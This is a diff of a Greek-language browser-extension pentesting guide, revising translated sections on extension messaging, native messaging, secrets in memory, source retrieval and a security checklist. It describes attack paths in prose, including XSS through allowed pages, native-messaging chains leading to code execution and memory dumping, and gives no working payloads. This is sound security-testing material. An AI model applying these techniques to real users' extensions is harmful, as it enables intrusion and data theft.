ή μια που έχει παραβιαστεί θα μπορούσε να επιτρέψει στον επιτιθέμενο **διαφορετικούς τρόπους να κλέψει ευαίσθητες πληροφορίες και να κατασκοπεύσει τον χρήστη**. @@ -325,8 +325,8 @@ browext-clickjacking.md Σύμφωνα με τα [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), Η ιδιότητα `"externally_connectable"` του manifest δηλώνει **ποια extensions και ιστοσελίδες μπορούν να συνδεθούν** με την επέκτασή σας μέσω [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) και [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage). -- Αν το κλειδί **`externally_connectable`** **δεν** δηλώνεται στο manifest της επέκτασής σας ή δηλώνεται ως **`"ids": ["*"]`**, **όλες οι επεκτάσεις μπορούν να συνδεθούν, αλλά καμία ιστοσελίδα δεν μπορεί να συνδεθεί**. -- Αν **καθοριστούν συγκεκριμένα IDs**, όπως στο `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **μόνο αυτές οι εφαρμογές** μπορούν να συνδεθούν. +- Αν το **`externally_connectable`** κλειδί **δεν** δηλώνεται στο manifest της επέκτασής σας ή δηλώνεται ως **`"ids": ["*"]`**, **όλες οι επεκτάσεις μπορούν να συνδεθούν, αλλά καμία ιστοσελίδα δεν μπορεί να συνδεθεί**. +- Αν **καθορισμένα IDs αναφέρονται**, όπως στο `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **μόνο αυτές οι εφαρμογές** μπορούν να συνδεθούν. - Αν **καθοριστούν matches**, αυτές οι διαδικτυακές εφαρμογές θα μπορούν να συνδεθούν: ```json "matches": [ @@ -342,17 +342,17 @@ browext-clickjacking.md > > Επομένως, αυτή είναι μια **πολύ ισχυρή παράκαμψη**. > -> Επιπλέον, αν ο πελάτης εγκαταστήσει μια κακόβουλη επέκταση, ακόμη και αν δεν επιτρέπεται να επικοινωνήσει με την ευάλωτη επέκταση, θα μπορούσε να εισάγει **δεδομένα XSS σε μια επιτρεπόμενη ιστοσελίδα** ή να εκμεταλλευτεί τα APIs **`WebRequest`** ή **`DeclarativeNetRequest`** για να χειριστεί αιτήματα σε έναν στοχευμένο τομέα αλλάζοντας το αίτημα μιας σελίδας για ένα **αρχείο JavaScript**. (Σημειώστε ότι το CSP στη στοχευμένη σελίδα θα μπορούσε να αποτρέψει αυτές τις επιθέσεις). Αυτή η ιδέα προέρχεται [**από αυτή τη γραφή**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). +> Επιπλέον, αν ο πελάτης εγκαταστήσει μια κακόβουλη επέκταση, ακόμη και αν δεν επιτρέπεται να επικοινωνήσει με την ευάλωτη επέκταση, θα μπορούσε να εισάγει **δεδομένα XSS σε μια επιτρεπόμενη ιστοσελίδα** ή να εκμεταλλευτεί τα APIs **`WebRequest`** ή **`DeclarativeNetRequest`** για να χειριστεί αιτήματα σε έναν στοχευμένο τομέα αλλάζοντας το αίτημα μιας σελίδας για ένα **JavaScript αρχείο**. (Σημειώστε ότι το CSP στη στοχευμένη σελίδα θα μπορούσε να αποτρέψει αυτές τις επιθέσεις). Αυτή η ιδέα προέρχεται [**από αυτή τη γραφή**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). ## Περίληψη επικοινωνίας ### Επέκταση <--> WebApp -Για να επικοινωνήσουν το περιεχόμενο script και η ιστοσελίδα, συνήθως χρησιμοποιούνται μηνύματα post. Επομένως, στην εφαρμογή ιστού θα βρείτε συνήθως κλήσεις στη λειτουργία **`window.postMessage`** και στο περιεχόμενο script ακροατές όπως **`window.addEventListener`**. Σημειώστε ωστόσο, ότι η επέκταση θα μπορούσε επίσης να **επικοινωνήσει με την εφαρμογή ιστού στέλνοντας ένα Post Message** (και επομένως η ιστοσελίδα θα πρέπει να το περιμένει) ή απλώς να κάνει την ιστοσελίδα να φορτώσει ένα νέο script. +Για να επικοινωνήσουν το content script και η ιστοσελίδα, συνήθως χρησιμοποιούνται μηνύματα post. Επομένως, στην εφαρμογή ιστού θα βρείτε συνήθως κλήσεις στη συνάρτηση **`window.postMessage`** και στο content script ακροατές όπως **`window.addEventListener`**. Σημειώστε ωστόσο ότι η επέκταση θα μπορούσε επίσης να **επικοινωνήσει με την εφαρμογή ιστού στέλνοντας ένα Post Message** (και επομένως η ιστοσελίδα θα πρέπει να το περιμένει) ή απλώς να κάνει την ιστοσελίδα να φορτώσει ένα νέο script. ### Μέσα στην επέκταση -Συνήθως η λειτουργία **`chrome.runtime.sendMessage`** χρησιμοποιείται για να στείλει ένα μήνυμα μέσα στην επέκταση (συνήθως διαχειρίζεται από το `background` script) και για να το λάβει και να το διαχειριστεί δηλώνεται ένας ακροατής καλώντας **`chrome.runtime.onMessage.addListener`**. +Συνήθως η συνάρτηση **`chrome.runtime.sendMessage`** χρησιμοποιείται για να στείλει ένα μήνυμα μέσα στην επέκταση (συνήθως διαχειρίζεται από το `background` script) και για να το λάβει και να το διαχειριστεί δηλώνεται ένας ακροατής καλώντας **`chrome.runtime.onMessage.addListener`**. Είναι επίσης δυνατό να χρησιμοποιηθεί **`chrome.runtime.connect()`** για να υπάρχει μια μόνιμη σύνδεση αντί να στέλνονται μεμονωμένα μηνύματα, είναι δυνατό να χρησιμοποιηθεί για να **στείλει** και **λάβει** **μηνύματα** όπως στο παρακάτω παράδειγμα: @@ -391,7 +391,7 @@ console.log("Content script received message from background script:", msg) Είναι επίσης δυνατό να στείλετε μηνύματα από ένα background script σε ένα content script που βρίσκεται σε μια συγκεκριμένη καρτέλα καλώντας **`chrome.tabs.sendMessage`** όπου θα χρειαστεί να υποδείξετε το **ID της καρτέλας** στην οποία θα στείλετε το μήνυμα. -### Από επιτρεπόμενο `externally_connectable` στην επέκταση +### Από επιτρεπόμενα `externally_connectable` στην επέκταση **Web εφαρμογές και εξωτερικές επεκτάσεις προγράμματος περιήγησης που επιτρέπονται** στη ρύθμιση `externally_connectable` μπορούν να στέλνουν αιτήματα χρησιμοποιώντας : ```javascript @@ -413,7 +413,7 @@ console.log("Received " + response) ``` ## Web **↔︎** Επικοινωνία Σκηνικού Περιεχομένου -Τα περιβάλλοντα όπου λειτουργούν τα **content scripts** και όπου υπάρχουν οι σελίδες φιλοξενίας είναι **χωρισμένα** το ένα από το άλλο, εξασφαλίζοντας **απομόνωση**. Παρά αυτή την απομόνωση, και τα δύο έχουν τη δυνατότητα να αλληλεπιδρούν με το **Document Object Model (DOM)** της σελίδας, έναν κοινόχρηστο πόρο. Για να συμμετάσχει η σελίδα φιλοξενίας στην επικοινωνία με το **content script**, ή έμμεσα με την επέκταση μέσω του content script, απαιτείται να χρησιμοποιήσει το **DOM** που είναι προσβάσιμο και από τις δύο πλευρές ως κανάλι επικοινωνίας. +Τα περιβάλλοντα όπου λειτουργούν τα **content scripts** και όπου υπάρχουν οι σελίδες φιλοξενίας είναι **χωρισμένα** το ένα από το άλλο, εξασφαλίζοντας **απομόνωση**. Παρά αυτή την απομόνωση, και τα δύο έχουν τη δυνατότητα να αλληλεπιδρούν με το **Document Object Model (DOM)** της σελίδας, μια κοινή πηγή. Για να συμμετάσχει η σελίδα φιλοξενίας στην επικοινωνία με το **content script**, ή έμμεσα με την επέκταση μέσω του content script, απαιτείται να χρησιμοποιήσει το **DOM** που είναι προσβάσιμο και από τις δύο πλευρές ως κανάλι επικοινωνίας. ### Post Messages ```javascript:content-script.js @@ -458,7 +458,7 @@ false - Αν χρησιμοποιηθεί regex, να είστε πολύ προσεκτικοί - **Source**: `received_message.source !== window` μπορεί να χρησιμοποιηθεί για να ελέγξει αν το μήνυμα ήταν **από το ίδιο παράθυρο** όπου το Content Script ακούει. -Οι προηγούμενοι έλεγχοι, ακόμα και αν εκτελούνται, θα μπορούσαν να είναι ευάλωτοι, οπότε ελέγξτε στην παρακάτω σελίδα **πιθανά bypasses Post Message**: +Οι προηγούμενοι έλεγχοι, ακόμη και αν εκτελούνται, θα μπορούσαν να είναι ευάλωτοι, οπότε ελέγξτε στην παρακάτω σελίδα **πιθανά bypasses Post Message**: {{#ref}} ../postmessage-vulnerabilities/ @@ -486,7 +486,7 @@ browext-xss-example.md Ένα Content Script μπορεί να χρησιμοποιήσει τις συναρτήσεις [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ή** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) για να στείλει ένα **μοναδικό JSON-serializable** μήνυμα. -Για να χειριστείτε την **απάντηση**, χρησιμοποιήστε την επιστρεφόμενη **Promise**. Αν και, για λόγους συμβατότητας, μπορείτε ακόμα να περάσετε μια **callback** ως την τελευταία παράμετρο. +Για να χειριστείτε την **απάντηση**, χρησιμοποιήστε την επιστρεφόμενη **Promise**. Αν και, για λόγους συμβατότητας, μπορείτε ακόμα να περάσετε μια **callback** ως τελευταίο επιχείρημα. Η αποστολή ενός αιτήματος από ένα **content script** φαίνεται έτσι: ```javascript @@ -496,7 +496,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" }) console.log(response) })() ``` -Αποστολή αιτήματος από την **επέκταση** (συνήθως ένα **σενάριο παρασκηνίου**). Παράδειγμα για το πώς να στείλετε μήνυμα στο σενάριο περιεχομένου στην επιλεγμένη καρτέλα: +Αποστολή αιτήματος από την **επέκταση** (συνήθως ένα **σενάριο παρασκηνίου**). Παράδειγμα αποστολής μηνύματος στο σενάριο περιεχομένου στην επιλεγμένη καρτέλα: ```javascript // From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script ;(async () => { @@ -523,13 +523,13 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) ``` Στο παράδειγμα που επισημαίνεται, **`sendResponse()`** εκτελέστηκε με συγχρονισμένο τρόπο. Για να τροποποιηθεί ο χειριστής γεγονότος `onMessage` για ασύγχρονη εκτέλεση του `sendResponse()`, είναι επιτακτική ανάγκη να ενσωματωθεί το `return true;`. -Μια σημαντική παράμετρος είναι ότι σε σενάρια όπου πολλές σελίδες είναι ρυθμισμένες να λαμβάνουν γεγονότα `onMessage`, **η πρώτη σελίδα που εκτελεί το `sendResponse()`** για μια συγκεκριμένη εκδήλωση θα είναι η μόνη που θα μπορεί να παραδώσει την απάντηση αποτελεσματικά. Οποιεσδήποτε επόμενες απαντήσεις στην ίδια εκδήλωση δεν θα ληφθούν υπόψη. +Μια σημαντική παράμετρος είναι ότι σε σενάρια όπου πολλές σελίδες είναι ρυθμισμένες να λαμβάνουν γεγονότα `onMessage`, **η πρώτη σελίδα που εκτελεί το `sendResponse()`** για ένα συγκεκριμένο γεγονός θα είναι η μόνη που θα μπορεί να παραδώσει την απάντηση αποτελεσματικά. Οποιεσδήποτε επόμενες απαντήσεις στο ίδιο γεγονός δεν θα ληφθούν υπόψη. -Κατά την κατασκευή νέων επεκτάσεων, η προτίμηση θα πρέπει να είναι προς τις υποσχέσεις αντί για callbacks. Όσον αφορά τη χρήση callbacks, η συνάρτηση `sendResponse()` θεωρείται έγκυρη μόνο εάν εκτελείται άμεσα μέσα στο συγχρονισμένο πλαίσιο, ή εάν ο χειριστής γεγονότος υποδεικνύει μια ασύγχρονη λειτουργία επιστρέφοντας `true`. Εάν κανένας από τους χειριστές δεν επιστρέψει `true` ή εάν η συνάρτηση `sendResponse()` αφαιρεθεί από τη μνήμη (garbage-collected), το callback που σχετίζεται με τη συνάρτηση `sendMessage()` θα ενεργοποιηθεί από προεπιλογή. +Κατά την κατασκευή νέων επεκτάσεων, η προτίμηση θα πρέπει να είναι προς τις υποσχέσεις αντί για τα callbacks. Όσον αφορά τη χρήση callbacks, η συνάρτηση `sendResponse()` θεωρείται έγκυρη μόνο εάν εκτελείται άμεσα μέσα στο συγχρονισμένο πλαίσιο, ή εάν ο χειριστής γεγονότος υποδεικνύει μια ασύγχρονη λειτουργία επιστρέφοντας `true`. Εάν κανένας από τους χειριστές δεν επιστρέψει `true` ή εάν η συνάρτηση `sendResponse()` αφαιρεθεί από τη μνήμη (καθαριστεί από τη συλλογή απορριμμάτων), το callback που σχετίζεται με τη συνάρτηση `sendMessage()` θα ενεργοποιηθεί από προεπιλογή. ## Native Messaging -Οι επεκτάσεις προγράμματος περιήγησης επιτρέπουν επίσης την επικοινωνία με **δυαδικά αρχεία στο σύστημα μέσω stdin**. Η εφαρμογή πρέπει να εγκαταστήσει ένα json που να το υποδεικνύει σε ένα json όπως: +Οι επεκτάσεις προγράμματος περιήγησης επιτρέπουν επίσης την επικοινωνία με **binaries στο σύστημα μέσω stdin**. Η εφαρμογή πρέπει να εγκαταστήσει ένα json που να το υποδεικνύει σε ένα json όπως: ```json { "name": "com.my_company.my_application", @@ -541,7 +541,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) ``` Όπου το `name` είναι η συμβολοσειρά που περνάται στο [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ή στο [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) για να επικοινωνήσει με την εφαρμογή από τα background scripts της επέκτασης του προγράμματος περιήγησης. Το `path` είναι η διαδρομή προς το δυαδικό αρχείο, υπάρχει μόνο 1 έγκυρος `type` που είναι το stdio (χρησιμοποιήστε stdin και stdout) και οι `allowed_origins` υποδεικνύουν τις επεκτάσεις που μπορούν να έχουν πρόσβαση σε αυτό (και δεν μπορούν να έχουν wildcard). -Το Chrome/Chromium θα αναζητήσει αυτό το json σε κάποιες ρυθμίσεις μητρώου των Windows και σε κάποιες διαδρομές σε macOS και Linux (περισσότερες πληροφορίες στα [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)). +Το Chrome/Chromium θα αναζητήσει αυτό το json σε κάποιες ρυθμίσεις μητρώου των Windows και σε κάποιες διαδρομές σε macOS και Linux (περισσότερες πληροφορίες στις [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)). > [!TIP] > Η επέκταση του προγράμματος περιήγησης χρειάζεται επίσης την άδεια `nativeMessaing` δηλωμένη για να μπορεί να χρησιμοποιήσει αυτή την επικοινωνία. @@ -561,25 +561,25 @@ console.log("Received " + response) 1. Η επέκταση του προγράμματος περιήγησης έχει ένα μοτίβο wildcard για το περιεχόμενο του script. 2. Το περιεχόμενο του script περνάει μηνύματα `postMessage` στο background script χρησιμοποιώντας `sendMessage`. 3. Το background script περνάει το μήνυμα στην εγ native εφαρμογή χρησιμοποιώντας `sendNativeMessage`. -4. Η εγ native εφαρμογή χειρίζεται το μήνυμα με επικίνδυνο τρόπο, οδηγώντας σε εκτέλεση κώδικα. +4. Η εγ native εφαρμογή χειρίζεται το μήνυμα επικίνδυνα, οδηγώντας σε εκτέλεση κώδικα. Και μέσα σε αυτό, εξηγείται ένα παράδειγμα **μετάβασης από οποιαδήποτε σελίδα σε RCE εκμεταλλευόμενο μια επέκταση προγράμματος περιήγησης**. ## Ευαίσθητες Πληροφορίες στη Μνήμη/Κώδικα/Πρόχειρο -Εάν μια Επέκταση Προγράμματος Περιήγησης αποθηκεύει **ευαίσθητες πληροφορίες μέσα στη μνήμη της**, αυτές θα μπορούσαν να **εκφορτωθούν** (ιδιαίτερα σε μηχανές Windows) και να **αναζητηθούν** για αυτές τις πληροφορίες. +Εάν μια Επέκταση Προγράμματος Περιήγησης αποθηκεύει **ευαίσθητες πληροφορίες μέσα στη μνήμη της**, αυτές θα μπορούσαν να **εκχυθούν** (ιδιαίτερα σε μηχανές Windows) και να **αναζητηθούν** για αυτές τις πληροφορίες. Επομένως, η μνήμη της Επέκτασης Προγράμματος Περιήγησης **δεν θα πρέπει να θεωρείται ασφαλής** και **ευαίσθητες πληροφορίες** όπως διαπιστευτήρια ή μνημονικές φράσεις **δεν θα πρέπει να αποθηκεύονται**. Φυσικά, **μην βάζετε ευαίσθητες πληροφορίες στον κώδικα**, καθώς θα είναι **δημόσιες**. -Για να εκφορτώσετε τη μνήμη από τον περιηγητή, μπορείτε να **εκφορτώσετε τη μνήμη της διαδικασίας** ή να πάτε στις **ρυθμίσεις** της επέκτασης του προγράμματος περιήγησης κάνοντας κλικ στο **`Inspect pop-up`** -> Στην ενότητα **`Memory`** -> **`Take a snapshot`** και **`CTRL+F`** για να αναζητήσετε μέσα στο στιγμιότυπο ευαίσθητες πληροφορίες. +Για να εκχυθεί η μνήμη από τον περιηγητή μπορείτε να **εκχύσετε τη μνήμη της διαδικασίας** ή να πάτε στις **ρυθμίσεις** της επέκτασης του προγράμματος περιήγησης και να κάνετε κλικ στο **`Inspect pop-up`** -> Στην ενότητα **`Memory`** -> **`Take a snapshot`** και **`CTRL+F`** για να αναζητήσετε μέσα στο στιγμιότυπο ευαίσθητες πληροφορίες. Επιπλέον, οι πολύ ευαίσθητες πληροφορίες όπως μνημονικά κλειδιά ή κωδικοί πρόσβασης **δεν θα πρέπει να επιτρέπεται να αντιγράφονται στο πρόχειρο** (ή τουλάχιστον να αφαιρούνται από το πρόχειρο σε λίγα δευτερόλεπτα) γιατί τότε οι διαδικασίες που παρακολουθούν το πρόχειρο θα μπορούν να τις αποκτήσουν. ## Φόρτωση μιας Επέκτασης στον Περιηγητή -1. **Κατεβάστε** την Επέκταση Προγράμματος Περιήγησης & αποσυμπιέστε την +1. **Κατεβάστε** την Επέκταση του Προγράμματος Περιήγησης & αποσυμπιέστε την 2. Πηγαίνετε στο **`chrome://extensions/`** και **ενεργοποιήστε** τη λειτουργία `Developer Mode` 3. Κάντε κλικ στο κουμπί **`Load unpacked`** @@ -591,7 +591,7 @@ console.log("Received " + response) ### Λήψη Επέκτασης ως ZIP μέσω Γραμμής Εντολών -Ο πηγαίος κώδικας μιας επέκτασης Chrome μπορεί να ληφθεί ως αρχείο ZIP χρησιμοποιώντας τη γραμμή εντολών. Αυτό περιλαμβάνει τη χρήση του `curl` για να αποκτήσετε το αρχείο ZIP από μια συγκεκριμένη διεύθυνση URL και στη συνέχεια να εξαγάγετε τα περιεχόμενα του αρχείου ZIP σε έναν φάκελο. Ακολουθούν τα βήματα: +Ο πηγαίος κώδικας μιας επέκτασης Chrome μπορεί να ληφθεί ως αρχείο ZIP χρησιμοποιώντας τη γραμμή εντολών. Αυτό περιλαμβάνει τη χρήση του `curl` για να αποκτήσετε το αρχείο ZIP από μια συγκεκριμένη διεύθυνση URL και στη συνέχεια την εξαγωγή των περιεχομένων του αρχείου ZIP σε έναν φάκελο. Ακολουθούν τα βήματα: 1. Αντικαταστήστε το `"extension_id"` με το πραγματικό ID της επέκτασης. 2. Εκτελέστε τις παρακάτω εντολές: @@ -612,7 +612,7 @@ unzip -d "$extension_id-source" "$extension_id.zip" Οι επεκτάσεις Chrome που έχουν εγκατασταθεί τοπικά μπορούν επίσης να επιθεωρηθούν. Να πώς: -1. Προσπελάστε τον τοπικό φάκελο προφίλ Chrome επισκεπτόμενοι το `chrome://version/` και εντοπίζοντας το πεδίο "Profile Path". +1. Πρόσβαση στον τοπικό φάκελο προφίλ Chrome επισκεπτόμενοι το `chrome://version/` και εντοπίζοντας το πεδίο "Profile Path". 2. Μεταβείτε στον υποφάκελο `Extensions/` εντός του φακέλου προφίλ. 3. Αυτός ο φάκελος περιέχει όλες τις εγκατεστημένες επεκτάσεις, συνήθως με τον πηγαίο κώδικα τους σε αναγνώσιμη μορφή. @@ -629,32 +629,32 @@ unzip -d "$extension_id-source" "$extension_id.zip" Ανοίξτε το Chrome και πηγαίνετε στο `chrome://extensions/`. Ενεργοποιήστε τη "Λειτουργία προγραμματιστή" στην επάνω δεξιά γωνία. Κάντε κλικ στο "Φόρτωση αποσυμπιεσμένης επέκτασης...". Μεταβείτε στον φάκελο της επέκτασής σας. Αυτό δεν κατεβάζει τον πηγαίο κώδικα, αλλά είναι χρήσιμο για την προβολή και την τροποποίηση του κώδικα μιας ήδη κατεβασμένης ή αναπτυγμένης επέκτασης. -## Σύνολο δεδομένων manifest επέκτασης Chrome +## Σύνολο δεδομένων manifest επεκτάσεων Chrome -Για να προσπαθήσετε να εντοπίσετε ευάλωτες επεκτάσεις προγράμματος περιήγησης, μπορείτε να χρησιμοποιήσετε το [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) και να ελέγξετε τα αρχεία manifest τους για πιθανά σημάδια ευαλωτότητας. Για παράδειγμα, για να ελέγξετε για επεκτάσεις με περισσότερους από 25000 χρήστες, `content_scripts` και την άδεια `nativeMessaing`: +Για να προσπαθήσετε να εντοπίσετε ευάλωτες επεκτάσεις προγράμματος περιήγησης, μπορείτε να χρησιμοποιήσετε το [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) και να ελέγξετε τα αρχεία manifest τους για πιθανά ευάλωτα σημάδια. Για παράδειγμα, για να ελέγξετε επεκτάσεις με περισσότερους από 25000 χρήστες, `content_scripts` και την άδεια `nativeMessaing`: ```bash # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')" ``` ## Λίστα Ελέγχου Ασφαλείας -Ακόμα και αν οι Επεκτάσεις Περιηγητή έχουν μια **περιορισμένη επιφάνεια επίθεσης**, μερικές από αυτές μπορεί να περιέχουν **ευπάθειες** ή **πιθανές βελτιώσεις ασφάλειας**. Οι παρακάτω είναι οι πιο κοινές: +Αν και οι Επεκτάσεις Περιηγητή έχουν μια **περιορισμένη επιφάνεια επίθεσης**, μερικές από αυτές μπορεί να περιέχουν **ευπάθειες** ή **πιθανές βελτιώσεις ασφάλειας**. Οι παρακάτω είναι οι πιο κοινές: - [ ] **Περιορίστε** όσο το δυνατόν περισσότερο τις ζητούμενες **`permissions`** - [ ] **Περιορίστε** όσο το δυνατόν περισσότερο τις **`host_permissions`** - [ ] Χρησιμοποιήστε μια **ισχυρή** **`content_security_policy`** -- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο το **`externally_connectable`**, αν δεν είναι απαραίτητο και δυνατό, μην το αφήνετε προεπιλεγμένο, καθορίστε **`{}`** +- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο το **`externally_connectable`**, αν δεν χρειάζεται και είναι δυνατόν, μην το αφήνετε προεπιλεγμένο, καθορίστε **`{}`** - [ ] Αν αναφέρεται εδώ **URL ευάλωτο σε XSS ή σε κατάληψη**, ένας επιτιθέμενος θα μπορεί να **στέλνει μηνύματα στα background scripts απευθείας**. Πολύ ισχυρή παράκαμψη. - [ ] **Περιορίστε** όσο το δυνατόν περισσότερο τους **`web_accessible_resources`**, ακόμα και κενά αν είναι δυνατόν. - [ ] Αν οι **`web_accessible_resources`** δεν είναι κανένα, ελέγξτε για [**ClickJacking**](browext-clickjacking.md) - [ ] Αν οποιαδήποτε **επικοινωνία** συμβαίνει από την **επέκταση** προς την **ιστοσελίδα**, [**ελέγξτε για XSS**](browext-xss-example.md) **ευπάθειες** που προκαλούνται στην επικοινωνία. -- [ ] Αν χρησιμοποιούνται Post Messages, ελέγξτε για [**Post Message ευπάθειες**](../postmessage-vulnerabilities/)**.** -- [ ] Αν το **Content Script έχει πρόσβαση σε λεπτομέρειες DOM**, ελέγξτε ότι **δεν εισάγουν XSS** αν **τροποποιηθούν** από τον ιστό +- [ ] Αν χρησιμοποιούνται Post Messages, ελέγξτε για [**Post Message vulnerabilities**](../postmessage-vulnerabilities/)**.** +- [ ] Αν το **Content Script έχει πρόσβαση σε λεπτομέρειες DOM**, ελέγξτε ότι **δεν εισάγουν XSS** αν τροποποιηθούν από τον ιστό - [ ] Δώστε ιδιαίτερη έμφαση αν αυτή η επικοινωνία εμπλέκεται επίσης στην **επικοινωνία Content Script -> Background script** - [ ] Αν το background script επικοινωνεί μέσω **native messaging**, ελέγξτε ότι η επικοινωνία είναι ασφαλής και καθαρισμένη -- [ ] **Ευαίσθητες πληροφορίες δεν θα πρέπει να αποθηκεύονται** μέσα στον κώδικα της Επέκτασης Περιηγητή -- [ ] **Ευαίσθητες πληροφορίες δεν θα πρέπει να αποθηκεύονται** μέσα στη μνήμη της Επέκτασης Περιηγητή -- [ ] **Ευαίσθητες πληροφορίες δεν θα πρέπει να αποθηκεύονται** μέσα στο **σύστημα αρχείων χωρίς προστασία** +- [ ] **Ευαίσθητες πληροφορίες δεν πρέπει να αποθηκεύονται** μέσα στον κώδικα της Επέκτασης Περιηγητή +- [ ] **Ευαίσθητες πληροφορίες δεν πρέπει να αποθηκεύονται** μέσα στη μνήμη της Επέκτασης Περιηγητή +- [ ] **Ευαίσθητες πληροφορίες δεν πρέπει να αποθηκεύονται** μέσα στο **σύστημα αρχείων χωρίς προστασία** ## Κίνδυνοι Επέκτασης Περιηγητή @@ -666,7 +666,7 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt - Τραβά οποιαδήποτε επέκταση Chrome από έναν παρεχόμενο σύνδεσμο του Chrome webstore. - [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: απλά εμφανίζει μια JSON-μορφοποιημένη έκδοση του manifest της επέκτασης. -- **Ανάλυση Δακτυλικών Αποτυπωμάτων**: Ανίχνευση [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) και αυτόματη δημιουργία JavaScript δακτυλικών αποτυπωμάτων για επεκτάσεις Chrome. +- **Ανάλυση Δακτυλικών Αποτυπωμάτων**: Ανίχνευση των [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) και αυτόματη δημιουργία JavaScript δακτυλικών αποτυπωμάτων για επεκτάσεις Chrome. - **Πιθανή Ανάλυση Clickjacking**: Ανίχνευση HTML σελίδων επεκτάσεων με τη ρύθμιση [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Αυτές είναι πιθανώς ευάλωτες σε clickjacking ανάλογα με τον σκοπό των σελίδων. - **Viewer προειδοποιήσεων άδειας**: που δείχνει μια λίστα με όλες τις προειδοποιήσεις άδειας Chrome που θα εμφανιστούν όταν ένας χρήστης προσπαθήσει να εγκαταστήσει την επέκταση. - **Επικίνδυνες Λειτουργίες**: δείχνει την τοποθεσία επικίνδυνων λειτουργιών που θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο (π.χ. λειτουργίες όπως innerHTML, chrome.tabs.executeScript). @@ -674,7 +674,7 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt - Και οι σαρωτές Επικίνδυνων Λειτουργιών και Σημείων Εισόδου έχουν τα εξής για τις παραγόμενες ειδοποιήσεις τους: - Σχετικό απόσπασμα κώδικα και γραμμή που προκάλεσε την ειδοποίηση. - Περιγραφή του ζητήματος. -- Ένα κουμπί “View File” για να δείτε το πλήρες αρχείο πηγαίου κώδικα που περιέχει τον κώδικα. +- Ένα κουμπί “View File” για να δείτε το πλήρες αρχείο πηγής που περιέχει τον κώδικα. - Η διαδρομή του ειδοποιημένου αρχείου. - Η πλήρης URI της ειδοποιημένης επέκτασης Chrome. - Ο τύπος του αρχείου, όπως ένα script Background Page, Content Script, Browser Action, κ.λπ. @@ -684,12 +684,12 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt - Κατεβάστε την επέκταση και μορφοποιημένες εκδόσεις. - Κατεβάστε την αρχική επέκταση. - Κατεβάστε μια όμορφα διαμορφωμένη έκδοση της επέκτασης (αυτόματη μορφοποίηση HTML και JavaScript). -- Αυτόματη αποθήκευση αποτελεσμάτων σάρωσης, η εκτέλεση σάρωσης επέκτασης θα διαρκέσει αρκετό χρόνο την πρώτη φορά που θα την εκτελέσετε. Ωστόσο, τη δεύτερη φορά, εφόσον η επέκταση δεν έχει ενημερωθεί, θα είναι σχεδόν άμεση λόγω της αποθήκευσης των αποτελεσμάτων. +- Αυτόματη αποθήκευση αποτελεσμάτων σάρωσης, η εκτέλεση μιας σάρωσης επέκτασης θα διαρκέσει αρκετό χρόνο την πρώτη φορά που την εκτελείτε. Ωστόσο, τη δεύτερη φορά, εφόσον η επέκταση δεν έχει ενημερωθεί, θα είναι σχεδόν άμεση λόγω της αποθήκευσης των αποτελεσμάτων. - Συνδέσιμες διευθύνσεις URL αναφορών, εύκολα συνδέστε κάποιον άλλο σε μια αναφορά επέκτασης που δημιουργήθηκε από το tarnish. ### [Neto](https://github.com/elevenpaths/neto) -Το έργο Neto είναι ένα πακέτο Python 3 που έχει σχεδιαστεί για να αναλύει και να αποκαλύπτει κρυφές δυνατότητες των πρόσθετων και επεκτάσεων περιηγητών για γνωστούς περιηγητές όπως ο Firefox και ο Chrome. Αυτοματοποιεί τη διαδικασία αποσυμπίεσης των πακεταρισμένων αρχείων για να εξάγει αυτές τις δυνατότητες από σχετικούς πόρους σε μια επέκταση όπως το `manifest.json`, φακέλους τοπικοποίησης ή πηγαία αρχεία Javascript και HTML. +Το Project Neto είναι ένα πακέτο Python 3 που έχει σχεδιαστεί για να αναλύει και να αποκαλύπτει κρυφές δυνατότητες των πρόσθετων και επεκτάσεων περιηγητών για γνωστούς περιηγητές όπως ο Firefox και ο Chrome. Αυτοματοποιεί τη διαδικασία αποσυμπίεσης των πακεταρισμένων αρχείων για να εξάγει αυτές τις δυνατότητες από σχετικούς πόρους σε μια επέκταση όπως το `manifest.json`, φακέλους τοπικοποίησης ή πηγές JavaScript και HTML. ## Αναφορές diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index 50571e8a7..5240a5b08 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ 